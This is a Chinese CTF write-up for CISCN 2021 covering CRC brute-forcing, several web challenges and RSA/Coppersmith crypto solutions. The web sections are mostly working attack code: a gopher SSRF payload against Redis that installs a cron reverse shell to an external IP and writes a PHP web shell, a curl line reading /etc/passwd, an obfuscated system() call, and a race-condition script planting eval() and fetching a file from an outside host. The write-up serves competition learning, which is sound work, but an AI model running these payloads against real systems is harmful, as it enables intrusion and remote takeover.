ciscn2021华中

大佬的wp：http://www.xl-bit.cn/index.php/archives/532/

misc

crc碰撞

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/6/26 11:53
# @Author  : upload
# @File    : crc32222.py
# @Software: PyCharm
import binascii
import string

dic = string.printable  # 打印出字符表
crc1 = 0xD1F4EB9A
crc2 = 0xB04C9FB6
crc3 = 0x712FDC77
crc4 = 0x31099E07
crc5 = 0xF7A2F5B7

for i in dic:
    for j in dic:
        for n in dic:
            for m in dic:
                s = i + j + n + m
                if (crc1 == (binascii.crc32(s) & 0xffffffff)):
                    text1 = s
                if (crc2 == (binascii.crc32(s) & 0xffffffff)):
                    text2 = s
                if (crc3 == (binascii.crc32(s) & 0xffffffff)):
                    text3 = s
                if (crc4 == (binascii.crc32(s) & 0xffffffff)):
                    text4 = s
                if (crc5 == (binascii.crc32(s) & 0xffffffff)):
                    text5 = s

print(1)
print text1 + text2 + text3 + text4 + text5

web

web1

1 .login.php.swp

<?php


$data = ['username' => 'flag_is_my_life','password'=>"I_won't_tell_you_it's_here",'replace' =>  []];

//echo urlencode(serialize('flag_is_my_life'));
echo urlencode(serialize($data));

//echo urlencode(serialize("I_won't_tell_you_it's_here"));

web2

输入有xss的waf！但是不知道怎么做！😥

web3

<?php


error_reporting(0);
$a = 'system';
$b = urlencode(~$a);
echo $b;
echo "<br>";
$c = '($_POST[mochu7])';
$d = urlencode(~$c);
echo $d;

${(~%8C%86%8C%8B%9A%92)(~%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6)}

${(~%8C%86%8C%8B%9A%92)(~%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6)}

web4

ssrf打redis

但是他过滤的只有http协议了可以直接 302跳转到！

https://zhuanlan.zhihu.com/p/73736127

0X02 利用302 Redirect绕过

当URL存在临时(302)或永久(301)跳转时，则继续请求跳转后的URL

那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。

我们继续构造一个302跳转服务，代码如下302.php:

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}
利用测试

# dict protocol - 探测Redis
dict://127.0.0.1:6379/info  
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
# file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
# gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0 
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d  
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'


gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A


url=http://sec.com:8082/1.php?s=gopher&i=127.0.0.1&p=6379&query=_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

web5

<?php
error_reporting(0);
highlight_file(__FILE__);

include('waf.php');

$path = 'uploads/'.md5("hacker".$_SERVER['REMOTE_ADDR']);
@mkdir($path, 0755, True);

$action = @$_GET['action'];
if($action === 'upload') {
    if ($_FILES["file"]["error"] > 0 && $_FILES["file"]["size"] > 204800){
        die('upload error');
    } else {
        $filename = $_FILES["file"]["name"];
        $uploadpath = $path.'/'.$filename;

        $content = $_FILES["file"]["tmp_name"];
        waf(file_get_contents($content));

        move_uploaded_file($_FILES["file"]["tmp_name"], $uploadpath);
        var_dump("文件已上传到".$uploadpath);
    }
} elseif ($action === 'include') {
    $filename = $_POST['filename'];
    if(stristr($filename, "uploads") !== false) {
        die("Oh, you can not include what you upload.");
    }
    $realpath = __DIR__.'/'.$filename;
    // var_dump($realpath);

    include_once($realpath);
}

这个前端都不会了！ 太菜了！
name是$_FILES["file"]["name"];   里的file
<html>
<body>

<form action="http://10.12.153.3:58005/?action=upload" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

import io
import requests
import threading
sessid = 'upload'

payload = '../../../../../../../var/lib/php/sessions/afacdccabd/sess_' + sessid
data = {
'cf' : payload,
    "cmd":"echo '11111111111';copy('http://47.94.0.250/2.txt','/tmp/mc');"}

#file_put_contents('/tmp/2.txt', '<?php eval($_POST[a]);?>')
poy = {
'http': '127.0.0.1:8081'
}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://124.70.102.25:24105', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://124.70.102.25:24105',data=data)
        print(resp.url)
        # print(resp.text)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()
    

    /var/lib/php/sessions

cry

cry1

base64 多次

cry2

共模攻击

cry3

from random import *
from sympy import nextprime
from serct import flag

def Printprime(bits):
	A1=getprime(bits)
	A2=getprime(bits)
	c=randint(1,bits)
	B=(A1&(2**bits -1))>>c<<c
	temp=A1*A2
	print B
	print temp
	B1=(A1&(2**1024 -1))>>10<<10
	retrn A1,B1
	

p1,q1=Printprime(1024)
#B1=106672572720048882245660511958712758437546239973820056988685173758158387505232286222345308433971608941789148315811224011373367452106624375614858115402658270967073303108417429716363790098705093167287547128233883046603422138051729608392226373427044742935820547926346986700993433110025346422649463516306117492736
#temp1=18223408528938169563926297587705487122400521640144380302276492241065231360197061692156705171767387290791148541561476206560745923631684641131760019914136599820986994476711070781431006040501812087737193539402386241242517740267076091571026828269589016751672519420720282198833660352448501015746469864270887304810845950763013784529734523829259854050111750385439938542892934956015656186706709145463150202092953765596173302945107138213341531230951256986478565603356167357434402810865412234907275857841643625096319566068656995222254979424537359861594456585561427700014906151549675951595460571359557824293390454141212479211953


p2,q2=Printprime(1024)
#B2=91877168566039491657305870670623199089479881202304232943572017885574139886174920491635129611163469509914703088351415537136643846568888402564414425238913656847647811500708341665196970357054465257253155806724008810425186336247727840542478123737508362772116597089289402649681073921122899377392328647691871453184
#temp2=10752981800150852696615563967881183599965159757324046388359973939317020898441759042947405484639238309399736743934033107178433518473681342641181213615317215639871849837008763067553426720824753891424475137916504324486720764803530300240955353341899560507971266902592160865957525943891842840187409215141446461696280549372905972385938708196767232048124561700402455255379531118578921913216752577417339268065778869076797335588047205958424875533168419129102310280661151613698902457676601785179734346052695408018278262324802910968046484470735194722038791302419051610443221479467600861127174611095684288611709562448544247273209


s1=nextprime((q1!)%p1)
s2=nextprime((q2!)%p2)
N=s1*s2
e=0x10001
c=pow(flag,e,n)
'''
N=402578570588989011906570974065635937836078609932235040229555379679839344402431378637094396812095407833305090207407212999030856266457870166813619476187500056486139989534715354006264939545095618222505483434352481960643166460370364037889685327790334910772475718818257316134282259815647802558834005326533813682323692197154897833084645060766766206530892477886113760677908927345577239531704573351071636043686822034521516668710069458255874802928450423278843190165962415917958305925239507648246803381332359355415021339069241284375116735895430101301850196917182567902398283167486452437848411633833758460403705565382613658367
c=257219466169584626430317895847625453300903766165345929735330675689224900452052640693187275057781527958416216799173373604530220596162237821541564525255992497174490505760337958793285092180161001615733433429635155570988111639066535536344186373487468032512963711380368877832845219013378230192621831685917905614682144243446410642717728189211599904992797336342529661659885203669580272027538396825189492963272218286519957838724526284897979415278563773983550358918900302656283455164088875610481023867345293117711686899541264690484693138375715496362591852380643486782321366972801503945491161057276658293915561697253892732835
'''

这到密码题！我写下！自己的思路！

(2**1024 -1) 是2472位
A1 是1024位的
做与运算      后门的位数多！
怎么计算不同位数的两个二进制数进行“与”运算？
方法就是将短的数据前面补充适当的0，然后计算即可

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/5/27 13:13
# @Author  : upload
# @File    : rsa求d.py
# @Software: PyCharm

from Crypto.Util.number import *
from sympy import nextprime

B1=106672572720048882245660511958712758437546239973820056988685173758158387505232286222345308433971608941789148315811224011373367452106624375614858115402658270967073303108417429716363790098705093167287547128233883046603422138051729608392226373427044742935820547926346986700993433110025346422649463516306117492736
temp1=18223408528938169563926297587705487122400521640144380302276492241065231360197061692156705171767387290791148541561476206560745923631684641131760019914136599820986994476711070781431006040501812087737193539402386241242517740267076091571026828269589016751672519420720282198833660352448501015746469864270887304810845950763013784529734523829259854050111750385439938542892934956015656186706709145463150202092953765596173302945107138213341531230951256986478565603356167357434402810865412234907275857841643625096319566068656995222254979424537359861594456585561427700014906151549675951595460571359557824293390454141212479211953
'''
B1=106672572720048882245660511958712758437546239973820056988685173758158387505232286222345308433971608941789148315811224011373367452106624375614858115402658270967073303108417429716363790098705093167287547128233883046603422138051729608392226373427044742935820547926346986700993433110025346422649463516306117492736

temp1=18223408528938169563926297587705487122400521640144380302276492241065231360197061692156705171767387290791148541561476206560745923631684641131760019914136599820986994476711070781431006040501812087737193539402386241242517740267076091571026828269589016751672519420720282198833660352448501015746469864270887304810845950763013784529734523829259854050111750385439938542892934956015656186706709145463150202092953765596173302945107138213341531230951256986478565603356167357434402810865412234907275857841643625096319566068656995222254979424537359861594456585561427700014906151549675951595460571359557824293390454141212479211953

PR.<x>=PolynomiaRing(Zmod(temp1))
f = x + B1
print(f.small_roots(X=2^130,beta=0.4))

'''
A1 = B1 + 278415614520669744454801989215497562587

B1 = (A1&(2**1024-1))>>10<<10

p1, q1 = A1, B1

B2=91877168566039491657305870670623199089479881202304232943572017885574139886174920491635129611163469509914703088351415537136643846568888402564414425238913656847647811500708341665196970357054465257253155806724008810425186336247727840542478123737508362772116597089289402649681073921122899377392328647691871453184
temp2=10752981800150852696615563967881183599965159757324046388359973939317020898441759042947405484639238309399736743934033107178433518473681342641181213615317215639871849837008763067553426720824753891424475137916504324486720764803530300240955353341899560507971266902592160865957525943891842840187409215141446461696280549372905972385938708196767232048124561700402455255379531118578921913216752577417339268065778869076797335588047205958424875533168419129102310280661151613698902457676601785179734346052695408018278262324802910968046484470735194722038791302419051610443221479467600861127174611095684288611709562448544247273209


'''
B2=91877168566039491657305870670623199089479881202304232943572017885574139886174920491635129611163469509914703088351415537136643846568888402564414425238913656847647811500708341665196970357054465257253155806724008810425186336247727840542478123737508362772116597089289402649681073921122899377392328647691871453184
temp2=10752981800150852696615563967881183599965159757324046388359973939317020898441759042947405484639238309399736743934033107178433518473681342641181213615317215639871849837008763067553426720824753891424475137916504324486720764803530300240955353341899560507971266902592160865957525943891842840187409215141446461696280549372905972385938708196767232048124561700402455255379531118578921913216752577417339268065778869076797335588047205958424875533168419129102310280661151613698902457676601785179734346052695408018278262324802910968046484470735194722038791302419051610443221479467600861127174611095684288611709562448544247273209



PR.<x>=PolynomiaRing(Zmod(temp1))
f = x + B2
print(f.small_roots(X=2^130,beta=0.4))
'''
A2 = B2 + 96828450975559371065546946074382444059
B2 = (A2&(2**1024-1))>>10<<10

p2, q2 = A2, B2

s1 = p1-1
for i in range(q1+1, p1, 1):
    s1 = s1 * inverse(i, p1) % p1

s2 = p2-1
for i in range(q2+1, p2, 1):
    s2 = s2 * inverse(i, p2) % p2

s1=nextprime(s1)
s2=nextprime(s2)
N=s1*s2


N=402578570588989011906570974065635937836078609932235040229555379679839344402431378637094396812095407833305090207407212999030856266457870166813619476187500056486139989534715354006264939545095618222505483434352481960643166460370364037889685327790334910772475718818257316134282259815647802558834005326533813682323692197154897833084645060766766206530892477886113760677908927345577239531704573351071636043686822034521516668710069458255874802928450423278843190165962415917958305925239507648246803381332359355415021339069241284375116735895430101301850196917182567902398283167486452437848411633833758460403705565382613658367

#print(temp2 % A2)

#print(s1 * s2)
#print(N)

p = s1
q = N // p

c=257219466169584626430317895847625453300903766165345929735330675689224900452052640693187275057781527958416216799173373604530220596162237821541564525255992497174490505760337958793285092180161001615733433429635155570988111639066535536344186373487468032512963711380368877832845219013378230192621831685917905614682144243446410642717728189211599904992797336342529661659885203669580272027538396825189492963272218286519957838724526284897979415278563773983550358918900302656283455164088875610481023867345293117711686899541264690484693138375715496362591852380643486782321366972801503945491161057276658293915561697253892732835

e=0x10001
d = inverse(e, (p-1)*(q-1))

m = pow(c, d, N)
print(long_to_bytes(m))

php_version = ['8.0','7.4','7.3','7.2','7.1','7.0','5.6','5.5','5.4','5.3','5.2','5.1','5.0','']
php_ini_name = ['php.ini','php.ini-production','php.ini-development']
base_dir = ['/etc/php/','/usr/lib/php/','/usr/local/etc/php/']
mid_dir = ['','cli','apache','apache2','fpm']

for i in base_dir:
    for j in php_version:
        for k in mid_dir:
            for v in php_ini_name:
                path = i+j+'/'+k+'/'+v
                print(path.replace("//",'/'))